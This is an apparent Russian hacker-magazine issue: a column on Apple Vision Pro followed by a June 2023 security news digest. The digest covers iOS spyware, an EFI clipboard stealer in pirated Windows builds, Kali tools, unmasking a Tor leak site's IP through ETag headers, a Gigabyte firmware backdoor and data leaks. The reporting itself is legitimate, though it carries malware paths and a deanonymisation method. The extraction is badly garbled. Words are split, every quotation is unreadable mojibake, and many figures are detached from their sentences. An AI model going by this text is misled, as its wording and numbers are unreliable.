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Пред ставь: перед тобой гигант ский экран,
на нем идет «Ава тар» в 3D, по левую руку
откры та поч та, по пра вую мож но пог- 
лядывать на «Телег рам», свер ху пол зут
новос ти, обновля ются бир жевые котиров- 
ки, шевелят ся гра фики, а сам ты при этом
сидишь на тол чке. Таково будущее по вер- 
сии Apple, и отде ляет тебя от него все го
пол года и 3500 дол ларов.

Слу хи о том, что в Apple вот-вот покажут шлем допол ненной и вир туаль ной
реаль нос ти, цир кулиру ют уже который год. Тем стран нее было уви деть, что
да, дей стви тель но, вот он перед нами — ров но такой, как все себе пред став- 
ляли и как рисова ли на любитель ских рен дерах.

Ес ли пуб лика чем-то шокиро вана, то это ценой. Сра зу начались срав- 
нения: Meta Quest 3 будут про давать за 500 дол ларов, PS VR2 сто ит 550,
даже за наворо чен ные Quest Pro и Vive XR Elite про сят не боль ше полуто ра
тысяч. А тут 3500. Не безумие ли?

С гад жетами Apple такое пос тоян но: кон курен ты есть, но срав нивать нап- 
рямую как-то не выходит. У экра нов Vision Pro в общей слож ности 23 мил- 
лиона пик селей — в 2–3 раза , чем у сов ремен ных шле мов. И, судя
по отзы вам, это не прос то пон ты, а раз ница меж ду невоз можностью и воз- 
можностью ком фор тно работать с тек стом.

боль ше

До бавь про цес сор дес ктоп ного калиб ра, безум ное количес тво камер сна- 
ружи и внут ри шле ма, кас томные лин зы, необыч ные науш ники, на качес тво
и объ емность зву ка которых так напира ли в пре зен тации... Еще этот экран
спе реди, тран сли рующий гла за поль зовате ля, буд то шлем проз рачный. Пол- 
ное ощу щение, что смот ришь на наворо чен ный супер кар, име ющий мало
обще го с моделя ми, которые потом будут ездить по дороге.

Рос кошь, конеч но, уре жут. Вмес то алю миния возь мут плас тик, механи чес- 
кую кру тил ку убе рут, ремешок упростят, полови ну камер научат ся заменять
алго рит мами; воз можно, даже фрон таль ный экран заменят инди като ром поп- 
роще. Батарей ку пос тавят внутрь или будут цинич но про давать отдель но.
И вот он, мас совый про дукт за 990 зеленых.

Ин терес но здесь дру гое. Apple Vision Pro — это шлем AR/VR, на пре зен- 
тации которо го поч ти не показы вали вир туаль ную реаль ность и едва кос-
нулись допол ненной. Ни тебе игр, ни хотя бы каких-нибудь без ногих пучег- 
лазых ава таров на манер цукер бергов ских. Вмес то это го бес конеч ные лета- 
ющие окна. Как так?

Вспо мина ется, как Джобс показы вал пер вый iPhone. «Это три вещи: iPod
с боль шим экра ном и тач-управле нием, револю цион ный мобиль ный телефон
и интернет-ком муника тор». Тим Кук не стал так же раз жевывать кил лер-фичи
Vision Pro, но их лег ко вычис лить. Это работа с докумен тами, прос мотр видео
(в том чис ле в сте реос копичес ком 3D) и обще ние.

По луча ется, глав ная фиш ка шле ма в том, что он ста новит ся «бес конеч- 
ным» экра ном, заменяя штук шесть наг ромож денных друг на дру га монито ров
или 70-дюй мовый телеви зор. Меня, как челове ка, который в любых путешес- 
тви ях возит за собой монитор, что бы нор маль но работать, такое пред- 
ложение в теории дол жно инте ресо вать. Но пока что толь ко в теории.

К монито ру я могу под клю чить что угод но — компь ютер, ноут бук, план шет,
игро вую прис тавку или даже нес коль ко. А вот на Vision Pro в этом пла не
типич ная духота Apple. Никаких вхо дов, боже упа си! Раз реша ется раз ве что
тран сли ровать по сети экран мак бука.

Как обыч ный компь ютер Vision Pro сом нителен и по дру гой при чине.
Ни тебе VSCode, ни коман дной стро ки, ни «Сти ма» с игра ми. Будут дос тупны
толь ко при ложе ния с айпа да. Я про бовал исполь зовать iPad как компь ютер,
даже написал . А потом вер нулся на мак.
Выживать на айпа де c SSH и VS Code Server при коль но, но зачем?

пол ную энту зиаз ма колон ку

Мож но наде ять ся, что эко сис тема Apple Vision окрепнет, а из AR-фрей- 
мвор ков родят ся новые при мене ния, о которых мы пока даже не меч таем.
Как из «айпо да с боль шим экра ном» потом выш ли неожи дан ные вещи вро де
заказа так си, арен ды самока тов и бес контак тной опла ты.

Vision Pro — это гран диоз ный фун дамент. Гля дя на него, мож но пред став- 
лять себе стро ения самой раз ной вышины и кра соты. А мож но раз водить
руками и спра шивать: зачем кому-то столь ко бетона?

Пос трой ка, которую в Apple теперь будут воз водить мно го лет, навер няка
разой дет ся с влаж ными меч тами, и нас еще ждут разоча рован ные сто ны.
Vision Pro — это девайс из будуще го, но мы-то живем в нас тоящем.

Ком про мис сы пока никуда не делись: от шле ма будет уста вать шея и сле- 
зить ся гла за, про вод ста нет мешать, а батарей ка — садить ся даже быс трее,
чем за два часа. Кон тента и при ложе ний понача лу будет мало, а зак рытость
быс тро нач нет досаж дать.

Как бы то ни было, заг лянуть в будущее быва ет бес ценно.

mailto:apismenny@gmail.com
https://twitter.com/i/web/status/1666118665702604800
https://xakep.ru/2022/05/23/magic-ipad/
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В этом месяце: ФСБ и «Лабора тория Кас пер ско го» обна- 
ружи ли 0-day и тар гетиро ван ные ата ки на iOS, выш ла новая
вер сия Kali Linux, сот ни ком паний пос тра дали из-за атак
на уяз вимость в MOVEit Transfer, зак рылся один из круп ней- 
ших тор рент-тре керов в мире, у рос сий ских ком паний мас- 
сово утек ли дан ные, а так же дру гие инте рес ные события
июня.

ЦЕЛЕВЫЕ АТАКИ
НА IOS

В начале июня ФСБ и ФСО Рос сии  о «раз ведыва тель ной акции
аме рикан ских спец служб, про веден ной с исполь зовани ем мобиль ных
устрой ств фир мы Apple». Вско ре пос ле это го «Лабора тория Кас пер ско го»
опуб ликова ла раз верну тый отчет о целевых ата ках, нап равлен ных на устрой- 
ства, работа ющие под управле нием iOS.

со общи ли

Эта кам пания получи ла наз вание «Опе рация „Три ангу ляция“» (Operation
Triangulation), и, по дан ным «Лабора тории Кас пер ско го», целью атак было
«незамет ное внед рение шпи онско го модуля в iPhone сот рудни ков ком- 
пании — как топ-менед жмен та, так и руково дите лей сред него зве на». По дан- 
ным ком пании, эти ата ки начались еще в 2019 году.

Пред ста вите ли ФСБ сооб щали, что «получен ная рос сий ски ми спец служ- 
бами информа ция сви детель ству ет о тес ном сот рудни чес тве аме рикан ской
ком пании Apple с наци ональ ным раз ведсо общес твом, в час тнос ти АНБ США,
и под твержда ет, что дек лариру емая полити ка обес печения кон фиден циаль- 
нос ти пер сональ ных дан ных поль зовате лей устрой ств Apple не соот ветс тву ет
дей стви тель нос ти».

Ком панию Apple обви няли в том, что она «пре дос тавля ет аме рикан ским
спец служ бам широкий спектр воз можнос тей по кон тро лю как за любыми
лицами, пред став ляющи ми инте рес для Белого дома, вклю чая их пар тне ров
по анти рос сий ской деятель нос ти, так и за собс твен ными граж данами».

В свою оче редь, Евге ний Кас пер ский писал в бло ге, что «глав ной при- 
чиной это го инци ден та явля ется зак рытость iOS», называя опе раци онную
сис тему Apple «чер ным ящи ком», где «годами могут скры вать ся шпи онские
прог раммы».

Пред ста вите ли Apple отвер гли эти обви нения, заявив, что ком пания
«никог да не работа ла и не будет работать с каким-либо пра витель ством
над внед рени ем бэк дора в какой-либо про дукт Apple». Поз же раз работ чики
iOS выпус тили пат чи для уяз вимос тей CVE-2023-32434 и CVE-2023-32435,
которые пред став ляли угро зу для всех вер сий iOS, вышед ших до iOS 15.7.
Уяз вимос ти были свя заны с «Опе раци ей „Три ангу ляция“» и опи сыва ются
как баги в ядре и в движ ке WebKit.

Ис сле дова тели «Лабора тории Кас пер ско го» уже опуб ликова ли бес плат- 
ную ути литу , которая поз воля ет най ти сле ды зараже ния
в резер вной копии устрой ства Apple.

triangle_check

Так же, поч ти одновре мен но с выходом пат чей Apple, экспер ты пред ста- 
вили ана лиз написан ного на Objective-C вре доно са , который
исполь зовал ся в этой кам пании.

TriangleDB

TriangleDB заг ружа ется на устрой ства пос ле того, как ата кующие получа ют
root-пра ва в резуль тате успешной экс плу ата ции уяз вимос ти в ядре iOS. Вре- 
донос пре дос тавля ет хакерам воз можнос ти скры того наб людения и работа ет
исклю читель но в памяти iOS-устрой ства, а его сле ды уда ляют ся при перезаг- 
рузке.

Эк спер ты приш ли к выводу, что TriangleDB — это слож ное шпи онское ПО,
которое содер жит широкий спектр фун кций для сбо ра дан ных и монито рин га.

«

»

«Àíà ëèçè ðóÿ ýòó àòà êó, ìû îáíà ðóæè ëè ñëîæ íûé èìïëàíò äëÿ iOS,
ó êîòîðî ãî ìíî ãî ïðè ìå÷à òåëü íûõ îñî áåí íîñòåé. Ìû ïðî äîë æàåì
ñâîå èññëå äîâà íèå è áóäåì äåð æàòü â êóð ñå íàøèõ íîâûõ íàõîäîê
îá ýòîé ñëîæ íîé àòà êå. Ìû ïðè çûâà åì ñîîá ùåñ òâî ñïå öèàëèñ òîâ
ïî êèáåð áåçîïàñ íîñòè îáú åäè íèòü ñÿ äëÿ îáìå íà çíà íèÿìè è ñîò- 
ðóäíè ÷åñ òâà, ÷òî áû ïîëó÷èòü áîëåå ÷åò êóþ êàð òèíó ñóùåñ òâó þùèõ
óãðîç», — êîì ìåíòè ðóåò Ëåîíèä Áåç âåðøåí êî, ýêñïåðò ïî êèáåð- 
áåçîïàñ íîñòè «Ëàáîðà òîðèè Êàñ ïåð ñêî ãî».

 СОСТАВИЛА ПРИБЫЛЬ
РОССИЙСКИХ МАЙНЕРОВ
100 ÌÈËËÈÀÐÄÎÂ ÐÓÁËÅÉ

Ди рек тор депар тамен та финан совой полити ки Мин фина Иван Чебес ков рас ска зал на Петер- 
бург ском эко номи чес ком форуме, что в Рос сии добыва ется крип товалю та при мер но на 

.
4 мил- 

лиар да дол ларов США

При этом при быль май неров сос тавля ет поряд ка . Чебес ков отме- 
тил, что при текущих усло виях доходы бюд жета от налого обло жения отрасли мог ли бы сос- 
тавить око ло , если бы май неры вооб ще пла тили налоги.

100 мил лиар дов руб лей

20 мил лиар дов руб лей

EFI-МАЛВАРЬ В
ПИРАТСКИХ СБОРКАХ
WINDOWS

Ком пания «Док тор Веб» сооб щила, что в пират ских сбор ках Windows 10 обна- 
ружен тро ян-сти лер, который зло умыш ленни ки рас простра няли через неназ- 
ванный тор рент-тре кер.

Вре донос, получив ший имя Trojan.Clipper.231, под меня ет в буфере обме на
адре са крип токошель ков адре сами, при над лежащи ми зло умыш ленни кам.
На дан ный момент с помощью этой мал вари хакерам уда лось похитить крип- 
товалю ту на 19 тысяч дол ларов США.

Ис сле дова тели рас ска зали, что в кон це мая 2023 года в ком панию обра- 
тил ся кли ент с подоз рени ем на зараже ние компь юте ра под управле нием ОС
Windows 10. Про веден ный спе циалис тами ана лиз под твер дил, что в сис теме
при сутс тву ют тро янские прог раммы — сти лер Trojan.Clipper.231, а так же вре- 
донос ные при ложе ния Trojan.MulDrop22.7578 и Trojan.Inject4.57873, запус- 
кающие его.

В то же вре мя выяс нилось, что целевая ОС была неофи циаль ной сбор кой
и вре донос ные прог раммы встро ены в нее изна чаль но. Даль нейшее иссле- 
дова ние обна ружи ло нес коль ко таких заражен ных сбо рок Windows:

Windows 10 Pro 22H2 19045.2728 + Office 2021 x64 by BoJlIIIebnik RU.iso;•
Windows 10 Pro 22H2 19045.2846 + Office 2021 x64 by BoJlIIIebnik RU.iso;•
Windows 10 Pro 22H2 19045.2846 x64 by BoJlIIIebnik RU.iso;•
Windows 10 Pro 22H2 19045.2913 + Office 2021 x64 by BoJlIIIebnik [RU,
EN].iso;

•

Windows 10 Pro 22H2 19045.2913 x64 by BoJlIIIebnik [RU, EN].iso.•

Все они были дос тупны для ска чива ния на неназ ванном тор рент-тре кере,
одна ко иссле дова тели не исклю чают, что зло умыш ленни ки исполь зовали
и дру гие сай ты для рас простра нения вре донос ных обра зов.

Мал варь в этих сбор ках рас положе на в сис темном катало ге:
\Windows\Installer\iscsicli.exe (Trojan.MulDrop22.7578);•
\Windows\Installer\recovery.exe (Trojan.Inject4.57873);•
\Windows\Installer\kd_08_5e78.dll (Trojan.Clipper.231).•

Сти лер ини циали зиру ется в нес коль ко ста дий. На пер вом эта пе через сис- 
темный пла ниров щик задач запус кает ся Trojan.MulDrop22.7578:

.%SystemDrive%\Windows\Installer\iscsicli.exe
За дача вре доно са — смон тировать сис темный EFI-раз дел на диск M:\,

ско пиро вать на него два дру гих ком понен та, пос ле чего уда лить ори гина лы
тро янских фай лов с дис ка , запус тить  и раз монти- 

ровать EFI-раз дел.

C:\ Trojan.Inject4.57873

В свою оче редь, Trojan.Inject4.57873 с исполь зовани ем тех ники Process
Hollowing внед ряет Trojan.Clipper.231 в сис темный про цесс 

, пос ле чего сти лер начина ет работать в его кон тек сте.

%WINDIR%\
System32\Lsaiso.exe

По лучив управле ние, Trojan.Clipper.231 прис тупа ет к отсле жива нию буфера
обме на и под меня ет ско пиро ван ные адре са крип токошель ков адре сами,
задан ными хакера ми. Одна ко отме чает ся, что у вре доно са есть ряд огра-
ниче ний. Во-пер вых, выпол нять под мену он начина ет толь ко при наличии сис- 
темно го фай ла . Во-вто рых, тро ян про веря ет

активные про цес сы. Если он обна ружи вает про цес сы опас ных для него при- 
ложе ний, то адре са крип токошель ков не под меня ет.

%WINDIR%\INF\scunown.inf

Ис сле дова тели сооб щают, что внед рение мал вари в EFI-раз дел компь- 
юте ров по-преж нему встре чает ся весь ма ред ко. Поэто му выяв ленный слу чай
пред став ляет боль шой инте рес для ИБ-спе циалис тов.

По под сче там ана лити ков, на момент пуб ликации отче та с помощью
Trojan.Clipper.231 было укра дено 0,73406362 BTC и 0,07964773 ETH, что экви- 
вален тно сум ме 18 976 дол ларов США или 1 568 233 руб лям.

ПОСЛЕДСТВИЯ ЛИКВИДАЦИИ ENCROCHAT
В 2020 году евро пей ские пра воох раните ли  плат форму для зашиф рован ных
ком муника ций EncroChat, которой поль зовались более  прес тупни ков по все му миру.

лик видиро вали
60 000

Как теперь рас ска зали в Евро поле, с 2020 года пра воох раните ли Фран ции и Нидер ландов, сов- 
мес тно с кол легами в дру гих стра нах, арес товали  человек, которые были поль зовате лями
EncroChat. При этом  из них находи лись в спис ке осо бо важ ных целей.

6558
197

Ис поль зуя соб ранные в EncroChat дан ные, влас ти кон фиско вали у подоз рева емых более 
тонн нар котичес ких веществ (вклю чая геро ин, кока ин и кан набис),  авто мобиль,  объ ект
нед вижимос ти,  еди ницы ору жия,  еди ниц взрыв чатых веществ,  самоле тов и 
катера.

270
971 271

923 68 40 83

Так же в руки пра воох ранитель ных орга нов переш ли  дол ларов налич ными, а еще
 дол ларов были заморо жены на раз личных сче тах.

810 000 000
168 000 000

Боль шинс тво поль зовате лей EncroChat име ли отно шение либо к орга низо ван ной прес тупнос ти
( ), либо к тор говле нар котика ми ( ).34,8% 33,3%

Ос таль ные занима лись отмы вани ем денег ( ), убий ства ми ( ) и тор говлей огнес трель- 
ным ору жием ( ).

14% 11,5%
6,4%

В общей слож ности быв шие поль зовате ли EncroChat были при гово рены к  годам лишения
сво боды, но отме чает ся, что пока вынесе ны далеко не все при гово ры.
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ВЫШЛА KALI LINUX
2023.2 С 13 НОВЫМИ
ИНСТРУМЕНТАМИ

Ком пания Offensive Security пред ста вила , вто рую вер сию
дис три бути ва в 2023 году. Теперь Kali содер жит готовый образ Hyper-V и три- 
над цать новых инс тру мен тов, вклю чая фрей мворк Evilginx для кра жи учет ных
дан ных и cookie сеан сов.

Kali Linux 2023.2

Од ним из наибо лее замет ных обновле ний в этом выпус ке стал pre-built-
образ Hyper-V, нас тро енный для Enhanced Session Mode, что поз воля ет под- 
клю чать ся к вир туаль ной машине с помощью RDP. Новый образ Hyper-V уже
мож но заг рузить с , пос ле чего оста нет ся рас паковать и запус тить
извле чен ный скрипт .

kali.org
install-vm.bat

«
»

«Ðàíåå âêëþ ÷åíèå Enhanced Session Mode òðå áîâà ëî ñîâåð øåíèÿ
îïðå äåëåí íûõ äåé ñòâèé âðó÷ íóþ, êàê â Windows, òàê è â âèð òóàëü íîé
ìàøèíå Kali, è ýòî áûëî íå î÷åíü ïðîñ òî, — îáú ÿñíÿ þò ðàç ðàáîò- 
÷èêè. — Íàäå åìñÿ, ÷òî íîâûå îáðà çû îáåñ ïå÷àò ëó÷ øèé îïûò
äëÿ ïîëü çîâàòå ëåé Hyper-V. Ïî ñóòè, òåïåðü íèêàêîé íàñ òðîé êè
íå òðå áóåò ñÿ».

Ис поль зование Enhanced Session Mode упро щает изме нение раз мера
рабоче го сто ла и сов мес тное исполь зование на вир туаль ной машине Kali
Linux локаль ных устрой ств, вклю чая USB-накопи тели, прин теры и про чее обо- 
рудо вание.

Так же в этой вер сии появи лось три над цать новых инс тру мен тов:
 — уста нов ка, управле ние и устра нение непола док в клас терах

Kubernetes;
• Cilium-cli

 — под пись кон тей неров;• Cosign
 — офи циаль ный CLI для Amazon EKS;• Eksctl

 — авто ном ный механизм для атак man in the middle, исполь зуемый
для фишин га учет ных дан ных и cookie сеан сов, что поз воля ет обой ти двух- 
фактор ную аутен тифика цию;

• Evilginx

 — опен сор сный тул кит для фишин га;• Gophish
 — быс трый ана лиза тор HTTP-заголов ков;• Humble

 — умень шение обра за кон тей нера без каких-либо изме нений;• Slim (toolkit)
 — генера ция соф твер ного Bill of Materials из обра зов кон тей неров

и фай ловых сис тем;
• Syft

 — безопас ное и пред ска зуемое соз дание, изме нение и улуч- 
шение инфраструк туры;

• Terraform

 — решение, осно ван ное на eBPF, для обес печения наб люда- 
емос ти и регули рова ния сре ды выпол нения;

• Tetragon

 — мас шта биру емая опен сор сная плат форма для реаги рова ния
на инци ден ты;

• TheHive

 — поиск уяз вимос тей, неп равиль ной кон фигура ции, сек ретов, SBOM
в кон тей нерах, Kubernetes, репози тори ях кода, обла ках и так далее;

• Trivy

 — рас ширя емый WebDAV-сер вер на осно ве WSGI.• WsgiDAV

Кро ме того, в этой вер сии Kali Linux появи лась новая зву ковая под систе ма,
в которой раз работ чики замени ли PulseAudio PipeWire. Коман да отме чает,
что PipeWire — это сов ремен ный ауди осер вер для Linux, обес печива ющий
умень шен ную задер жку, рас ширен ную под дер жку Bluetooth и .
Хотя Xfce исходно не под держи вает PipeWire, раз работ чики говорят, что
исполь зовали демон pipewire-pulse, поз воляя при ложе ниям, раз работан ным
для PulseAudio, работать с PipeWire.

мно гое дру гое

Так же нуж но отме тить, что Kali Linux 2023.2 содер жит обновле ния и фун- 
кции для Xfce и GNOME. Так, в Xfce добав лено рас ширение GtkHash, поз воля- 
ющее щел кнуть пра вой кноп кой мыши по фай лу и выб рать хеш-фун кции,
которые нуж но исполь зовать для вычис ления хеша фай ла.

В свою оче редь, GNOME был обновлен до вер сии 44 и теперь содер жит
обновлен ную тему Kali, новое при ложе ние Settings и мини атю ры изоб- 
ражений в окне выбора фай лов. Так же коман да Kali добави ла в GNOME
нового Tiling Assistant и допол нитель ные фун кции UI.

Что бы начать исполь зование Kali Linux 2023.2, мож но, нап ример, обно вить
текущую уста нов ку, , или нап рямую заг рузить
с офи циаль ного сай та .

выб рав нуж ную плат форму
об разы ISO

ЗА ИСПОЛЬЗОВАНИЕ VPN НЕ НУЖНО ПРИВЛЕКАТЬ
К ОТВЕТСТВЕННОСТИ

На ПМЭФ-2023 гла ва комите та Гос думы по инфор мпо лити ке Алек сандр Хин штейн рас ска зал,
что работа по осу щест вле нию кон цепции циф рового сувере ните та Рос сии «спо кой но и пос- 
тупатель но реали зует ся на про тяже нии пос ледних лет». Так же он выс казал ся об исполь зовании
VPN-сер висов, заявив, что не сог ласен с мне нием тех, кто счи тает, что за обход бло киро вок
нуж но наказы вать.

→ «Понача лу мно гие сме ялись, ста вили под сом нение воз можность рос сий ско- 
го государс тва обес печить даль нейшее фун кци они рова ние интерне та в авто- 
ном ном режиме. Прош ло все го-нав сего четыре года, и мы видим, что сис тема
работа ет. Да, у нас про дол жают фун кци они ровать VPN-сер висы, но я не под- 
держи ваю пред ложение кого-то из кол лег, что их исполь зование надо при рав- 
нять к госиз мене. Обхо ды бло киро вок все рав но не носят мас сового харак тера,
основная часть нашего общес тва населе ния ими не будет по раз ным при чинам
поль зовать ся. И оче вид но, что сегод ня работа суверен ного безопас ного рунета
себя пол ностью оправда ла, а уста нов ленное обо рудо вание нам поз воля ет
реали зовы вать те законо датель ные меры, которые мы при нима ем», — сооб щил
Хин штейн.

Продолжение статьи →
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ДЕАНОН TOR-
СЕРВЕРОВ
ЧЕРЕЗ ETAG

ИБ-спе циалист, извес тный под ником Sh1ttyKids, показал спо соб выяв ления
реаль ных IP-адре сов сер веров Tor. Иссле дова тель исполь зовал для это го

 (entity tag) в заголов ке HTTP-отве тов.ETag
Свое иссле дова ние Sh1ttyKids начал в свя зи со 

, которую еще в 2020 году ском про мети рова ла вымога тель ская груп- 
пиров ка Ragnar Locker. Так как Capcom отка залась пла тить выкуп, око- 
ло 67 Гбайт укра ден ных фай лов были опуб ликова ны в дар кне те.

взло мом ком пании
Capcom

Тог да на сай те груп пиров ки при води лась толь ко ссыл ка на утеч ку, но не
сами фай лы, и Sh1ttyKids заметил, что сущес тву ет отдель ный Onion-адрес
для раз мещения таких сли вов Ragnar Locker. Так, фай лы были раз мещены
на Onion-адре се, начина ющем ся на «t2w…», как показа но на скрин шоте ниже.

По пыт ка пря мого дос тупа к это му адре су при води ла на пус тую стра ницу. Тог- 
да иссле дова тель подумал о том, что при поис ке IP-адре сов дар кнет-сай тов
обыч но про веря ется исходный код сай та, SSL-сер тификат, заголов ки отве тов
и так далее. Это дела ется для того, что бы получить уни каль ные стро ки и фин- 
гер прин тинг, которые затем мож но исполь зовать в Shodan, Censys и дру гих
ана логич ных сер висах для обна руже ния реаль ного IP-адре са ресур са. Одна- 
ко исходный код сай та в дан ном слу чае получить не уда лось.

Тог да Sh1ttyKids про верил хедеры отве тов, ведь, если они содер жат уни- 
каль ную стро ку, их мож но исполь зовать для получе ния IP-адре са источни ка.
В ито ге иссле дова тель при шел к выводу, что даже ETag в хедере отве та тоже
может при нес ти поль зу. Через Shodan он поис кал получен ный от сай та
Ragnar Locker ETag «0–5a4a8aa76f2f0» и нашел одно сов падение.

При попыт ке получить дос туп к это му IP-адре су нап рямую обна ружи валась
лишь пус тая стра ница, точ но так же, как и при пря мом дос тупе к адре су

. Одна ко, про верив заголов ки отве та, иссле дова тель обна- 

ружил тот же самый ETag. Затем Sh1ttyKids попытал ся заг рузить файл с оди- 
нако вым име нем с Onion-адре са и по IP-адре су и убе дил ся, что файл обна- 
ружи вает ся в обо их слу чаях.

t2w5by<…>.onion

Та ким обра зом, иссле дова тель при шел к выводу, что исходный IP-адрес
Onion-сай та  — это .t2w5by<…>.onion 5.45.65(.)52

Эк сперт отме чет, что такая информа ция может при годить ся пра воох- 
ранитель ным орга нам, ведь зна ние IP-адре са потен циаль но может помочь
им зах ватить сер вер и исполь зовать его в рас сле дова нии.

В 2022 ГОДУ ПРОДАНО FLIPPER ZERO
НА 25 ÌÈËËÈÎÍÎÂ ÄÎËËÀÐÎÂ

Раз работ чики «хакер ско го тамаго чи» Flipper Zero сооб щили, что в 2022 году им уда лось реали- 
зовать устрой ства на общую сум му  дол ларов США. В текущем 2023 году ком пания
и вов се пла ниру ет выручить  за свои гад жеты.

25 000 000
80 000 000

Хо тя в ком пании не сооб щили, сколь ко имен но устрой ств было про дано на текущий момент,
жур налис ты изда ния TechCrunch под счи тали, что речь идет при мер но о  Flipper Zero,
так как один девайс сто ит  дол ларов США.

300 000
169

GIGABYTE
УСТРАНИЛА БЭКДОР
В МАТПЛАТАХ

Раз работ чики Gigabyte обно вили про шив ку 270 моделей материн ских плат,
что бы устра нить недав но обна ружен ную уяз вимость. Иссле дова тели, нашед- 
шие этот баг, пос читали его бэк дором, который мог исполь зовать ся для уста- 
нов ки вре донос ных прог рамм.

О проб леме  экспер ты ком пании Eclypsium, спе циали зиру ющей ся
на безопас ности про шивок и обо рудо вания. Иссле дова тели опре дели ли, что
про шив ка мно гих материн ских плат Gigabyte содер жит Windows-бинар ник,
который выпол няет ся при заг рузке опе раци онной сис темы. Затем этот файл
заг ружа ет и запус кает дру гую полез ную наг рузку, получен ную с сер веров
Gigabyte.

за яви ли

От мечалось, что пей лоад заг ружа ется через небезо пас ное соеди нение
(HTTP или неп равиль но нас тро енный HTTPS) и легитим ность фай ла никак
не про веря ется. То есть хакеры могут вос поль зовать ся незащи щен ным
соеди нени ем меж ду сис темой и сер верами Gigabyte, что бы под менить
полез ную наг рузку и реали зовать ата ку типа man in the middle.

К сво ему отче ту Eclypsium при ложи ла спи сок более чем 
материн ских плат Gigabyte, зат ронутых проб лемой. Экспер ты резюми рова ли,
что бэк дор, веро ятно, при сутс тву ет на мил лионах устрой ств.

270 моделей

Вско ре инже неры Gigabyte сооб щили, что проб лема устра нена. Ошиб ка
была свя зана с фун кци ей Windows Platform Binary Table (WPBT), которая поз- 
воля ет раз работ чикам про шивок авто мати чес ки извле кать исполня емый
файл из обра за и запус кать его в опе раци онной сис теме.

«
»

«WPBT ïîç âîëÿ åò ïîñ òàâùè êàì è OEM-ïðî èçâî äèòå ëÿì çàïóñ êàòü .exe-
ïðîã ðàììó íà óðîâ íå UEFI. Êàæ äûé ðàç, êîã äà Windows çàã ðóæà åòñÿ,
îíà ïðîñ ìàòðè âàåò UEFI è çàïóñ êàåò .exe», — ïîÿñ íÿåò ñÿ â äîêóìåí- 
òàöèè Microsoft.

Ма терин ские пла ты Gigabyte исполь зуют фун кцию WPBT при уста нов ке при- 
ложе ния для авто мати чес кого обновле ния в 

 в новых уста нов ках Windows. Эта фун кция

вклю чена по умол чанию, ее мож но отклю чить в нас трой ках BIOS.

%SystemRoot%\system32\
GigabyteUpdateService.exe

В ито ге про изво дитель выпус тил обновле ния про шив ки материн ских плат
для про цес соров Intel (серии 400, 500, 600, 700) и про цес соров AMD
(серии 400, 500, 600). Патч добав ляет более стро гие про вер ки безопас ности
во вре мя запус ка сис темы, вклю чая улуч шенную про вер ку фай лов, заг ружа- 
емых с уда лен ных сер веров, и их под писи, а так же стан дар тную про вер ку сер- 
тифика тов для уда лен ных сер веров.

По информа ции ком пании, эти усо вер шенс тво вания вос пре пятс тву ют
внед рению вре донос ного кода и гаран тиру ют, что любые заг ружа емые фай лы
пос тупа ют с сер веров с дей стви тель ными и надеж ными сер тифика тами.

STACK OVERFLOW СОБРАЛ СТАТИСТИКУ 2023 ГОДА
По пуляр ный ресурс Stack Overow про вел тра дици онный еже год ный опрос сре ди сво их поль- 
зовате лей. В общей слож ности в голосо вании при няли учас тие более  человек, которые
рас ска зали, как они учат ся и повыша ют свой уро вень, а так же какие инс тру мен ты исполь зуют
и какие хотели бы исполь зовать.

90 000

Три самые популяр ные сре ди про фес сиональ ных раз работ чиков тех нологии оста лись такими
же, как и в прош лом году: ,  и .JavaScript HTML/CSS SQL

 удер жива ет паль му пер венс тва уже один надцать лет под ряд и исполь зует ся чаще
дру гих язы ков прог рамми рова ния сре ди всех опро шен ных.
JavaScript

 в этом году обог нал  и стал треть им по популяр ности. При этом он же занял пер- 
вое мес то сре ди опро шен ных не про фес сиональ ных раз работ чиков.
Python SQL

Так же в этом году Stack Overow под счи тал, сколь ко рес понден тов собира ются и хотят исполь- 
зовать какую-то тех нологию и сколь ко уже поль зовались ею и намере ны про дол жать. Здесь
бес спор ным лидером ока зал ся , которым хотят поль зовать ся  и уже исполь зуют
и доволь ны  рес понден тов.

Rust 30,5%
84,66%

Спи сок наибо лее час то исполь зуемых инс тру мен тов воз гла вил , с которым работа ют
поч ти  опро шен ных.

Docker
52%

МАССОВЫЙ СЛИВ
ДАННЫХ
РОССИЙСКИХ
КОМПАНИЙ

В начале июня хакеры из груп пиров ки NLB пообе щали опуб ликовать в откры- 
том дос тупе дан ные две над цати круп ных рос сий ских ком паний. К сожале нию,
зло умыш ленни ки сдер жали свое сло во.

Ха керы  в откры тый дос туп базы дан ных с информа цией о кли- 
ентах тор говых сетей «Ашан» и «Твой Дом». И в резуль тате в сеть попали дан- 
ные 7,8 мил лиона кли ентов «Аша на» и око ло 700 тысяч кли ентов гипер марке- 
тов «Твой Дом».

вы ложи ли

Тор говая сеть «Ашан» под твер дила све дения об утеч ке дан ных сво их кли- 
ентов. В ком пании про водят внут реннее рас сле дова ние.

«
»

«Ñëóæ áà èíôîðìà öèîí íîé áåçîïàñ íîñòè „Àøàí ðèòåéë Ðîñ ñèÿ“ ïîä- 
òâåð äèëà óòå÷ êó äàí íûõ êëè åíòîâ òîð ãîâîé ñåòè. Â íàñ òîÿùèé ìîìåíò
ìû ïðî âîäèì âíóò ðåííåå ðàñ ñëå äîâà íèå ñ öåëüþ óñòà íîâ ëåíèÿ âåê- 
òîðà àòà êè è èñòî÷íè êà óòå÷ êè. Ìû ñîæàëå åì î ñëó ÷èâ øåìñÿ è ïðè- 
íîñèì èçâè íåíèÿ íàøèì êëè åíòàì», — ñîîá ùèëè â ïðåññ�ñëóæ áå
ðåòåé ëåðà.

На сле дующий день пос ле это го груп пиров ка  дан ные кли ентов
сети магази нов одеж ды «Гло рия Джинс», а так же магази на мат расов «Аско- 
на» и книж ного интернет-магази на book24.ru. Опуб ликован ные дам пы содер- 
жали от 2 до 4 мил лионов строк.

об народо вала

В «Эксмо-АСТ» сооб щили, что уже про водят рас сле дова ние по фак ту утеч- 
ки дан ных магази на изда тель ской груп пы (Book24). Так же рас смат рива ется
воз можность обра щения к пра воох ранитель ным орга нам. Груп па ком паний
«Аско на» так же начала внут реннюю про вер ку из-за утеч ки дан ных кли ентов.

По явив шаяся вско ре третья пар тия дан ных  о кли- 
ентах книж ного интернет-магази на «Бук воед», интернет-магази на одеж ды
«Твое», интернет-магази на «Леруа Мер лен» и сай та кулинар ных рецеп тов
edimdoma.ru.

со дер жала информа цию

В ито ге этот мас совый слив  пуб ликаци ей информа ции с сай- 
тов «Читай-город» и «Эксмо», изда тель ства «АСТ» и курор та «Роза Хутор».
В этом слу чае дам пы нас читыва ли от 500 тысяч до 9 мил лионов строк.

за вер шился

